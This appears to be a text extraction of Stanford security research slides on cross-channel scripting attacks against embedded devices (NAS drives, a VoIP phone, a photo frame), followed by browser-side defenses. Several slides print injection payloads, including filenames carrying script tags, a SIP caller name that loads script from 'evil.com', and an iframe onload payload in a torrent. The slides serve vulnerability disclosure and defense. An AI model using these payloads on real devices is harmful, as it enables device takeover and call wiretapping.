Cross-Channel Scripting
Impact on Embedded Web Interfaces

Hristo Bojinov     Elie Bursztein     Dan Boneh
Stanford Computer Security Lab
Cross-channel scripting

Protocol A -> Service A -> Service B -> Protocol B

Vulnerable System
Cross-channel scripting

Injection

Protocol A

e.g. iCal

Vulnerable System

Service A

State

Service B

Protocol B
Cross-channel scripting

Injection
Protocol A

Vulnerable System
Service A
State
Service B

Protocol B

e.g. iCal
Cross-channel scripting

Injection
Protocol A
e.g. iCal

Vulnerable System

Service A
State
Service B

Protocol B
Cross-channel scripting

Injection
Protocol A

Vulnerable System
Service A
State
Service B

Execution
Protocol B

e.g. iCal

e.g. HTTP
Cross-channel scripting

**Protocol A**

- **Cross-channel scripting**

**XCS: a pervasive attack class**

- **secure services ≠ secure system**

**Service A**

**Injection**

- e.g. iCal

**Vulnerable System**

**Execution**

- e.g. HTTP

**Protocol B**
LaCie Ethernet disk mini

- Share access control
- Web interface
- Public FTP
Cross-channel scripting

FTP server

Upload a file: &lt;script&gt;..&lt;/script&gt;.pdf

Attacker
Cross-channel scripting

FTP server → file system

Upload a file:
<script>..</script>.pdf

Attacker

NAS
Cross-channel scripting

FTP server → file system → Web App

Upload a file: `<script>..</script>.pdf`

Reflect the filename: `<script>..</script>.pdf`

Attacker

Admin Browser
Cross-channel scripting

Hello!

We now own your secret data. For example:

**EDmin - secret/**

[To Parent Directory]
01/09/2000 22:50:05 7.7k secret code.exe
Part 1: Many examples of XCS

- **Phones:** 5 XCS vulnerabilities in 2 phones
- **Embedded:** 23 devices, 26 XCS vulnerabilities
- **RESTful APIs:** 2 major APIs, 2 XCS vulnerabilities
Part 1: Many examples of XCS

- **Phones:** 5 XCS vulnerabilities in 2 phones
- **Embedded:** 23 devices, 26 XCS vulnerabilities
- **RESTful APIs:** 2 major APIs, 2 XCS vulnerabilities

Part 2: Defenses against XCS
More XCS Examples
Embedded web interfaces?
Embedded vs. public web servers

Growth

- Internet
- Embedded (NAS and photo frame only)

Data:
- Parks associates
- Netcraft
Managing embedded devices via a web interface:

✓ Easier for users

✓ Cheaper for vendors
Recipe for a disaster

Vendors build their own web applications

› Standard web server (sometimes)
› Custom web application stack
› Weak web security

New features/services added at a fast pace

› Vendors compete on number of services in product
› Interactions between services ➔ vulnerabilities
Vulnerabilities in *every* device we audited
VoIP phone

- Linksys SPA942
- Web interface
- SIP support
- Call logs
I Attacker makes a call as

"<script src="/evil.com/"></script>"
1 Attacker makes a call as "<script src="/evil.com/"></script>"

2 Administrator accesses web interface
1 Attacker makes a call as
"<script src="//evil.com/"></script>"

2 Administrator accesses web interface

3 Payload executes
Outcome: phone reconfiguration, VoIP wiretapping...
WiFi photo frame

- Samsung SPF85V
- RSS / URL feed
- Windows Live
- WMV / AVI
Photo frame XCS

Internet
I Attacker infects via CSRF

Internet
1 Attacker infects via CSRF

2 User connects to manage
1 Attacker infects via CSRF

Internet

2 User connects to manage

3 Payload executes

Frame Error!
Call Support: 1-900-PWNED
Devices as stepping stones
Devices as stepping stones

1. Administer the device
Devices as stepping stones

1. Administer the device
2. Browse internet
Devices as stepping stones

1. Administer the device
2. Browse internet
3. Trigger POST (e.g. via Ads)
Devices as stepping stones

2 Browse internet

3 Trigger POST (e.g. via Ads)

4 Infect the device
Devices as stepping stones

5 Access files
Devices as stepping stones

5 Access files

6 Send malicious payload
Devices as stepping stones

5 Access files

6 Send malicious payload

7 Attack local network
Another boring NAS device?

- **SOHO NAS**
  - Buffalo LS-CHL
  - BitTorrent support!
Massive exploitation
Massive exploitation

Create a bad torrent

Internet

Famous_movie.torrent
Massive exploitation
Massive exploitation
Massive exploitation

Internet
Peer-to-peer XCS!

Torrent Downloads

- **Browse...**
- **No File Selected**
- **Add**

XCS attack

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Progress</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;iframe onload=&quot;document.getElementById('add-options').innerHTML = 'XCS attack'&quot;&gt;2.pdf&lt;/iframe&gt;</td>
<td>137.6 KB</td>
<td></td>
</tr>
</tbody>
</table>
Defenses
Cross-channel scripting

Injection
Protocol A

Vulnerable System
Service A
Service B

Execution
Protocol B
Cross-channel scripting

Protocol A

Injection

Protocol A

Difficult

Service A
Service B

Vulnerable System

Execution

Protocol B


Cross-channel scripting

Injection

Protocol A

Vulnerable System

Service A

Service B

Execution

Protocol B

Difficult

Feasible
Strict Transport Security

- ForceHTTPS [JB’08]
- Stateful, and site-wide
- Recently adopted by PayPal
- Several browser implementations
Same Origin Mutual Approval [OWvOS‘08]

- Manifest delivery, stateless, **site-wide**
Security policies in browsers

Same Origin Mutual Approval [OWvOS'08]

- Manifest delivery, stateless, **site-wide**

Mozilla Content Security Policy

- **Header delivery**, stateless, fine-grained
Security policies in browsers

Same Origin Mutual Approval [OWvOS'08]
- Manifest delivery, stateless, **site-wide**

Mozilla Content Security Policy
- **Header delivery**, stateless, fine-grained

SiteFirewall
- **Header delivery**, stateful, **site-wide**
SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.
SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.
Injected script can issue requests at will:

```html
<script src="http://evil.com">
```
Page interactions with the Internet blocked.

After
Thinking beyond cookies
Policy delivery mechanisms:

- Manifest files, cookies, custom headers, DNS, certs
Thinking beyond cookies

Policy delivery mechanisms:

- Manifest files, cookies, custom headers, DNS, certs

Different types of browser state:

- **Cookies** for web application state
- **Policy store** for web site security policies
Conclusion
A growing threat

As seen on Twitter...
A growing threat

... and a smartphone near you.
Rise of multi-protocol devices: XCS
Rise of browser-OS: 24x7 exploitability

Thanks to Eric Lovett and Parks Associates!
Conclusion

Rise of multi-protocol devices: XCS
Rise of browser-OS: 24x7 exploitability

Recommendations

 › HTTP: cross-site policy standard
 › Browser: security policy store (non-cookie)

Thanks to Eric Lovett and Parks Associates!
Questions?

http://seclab.stanford.edu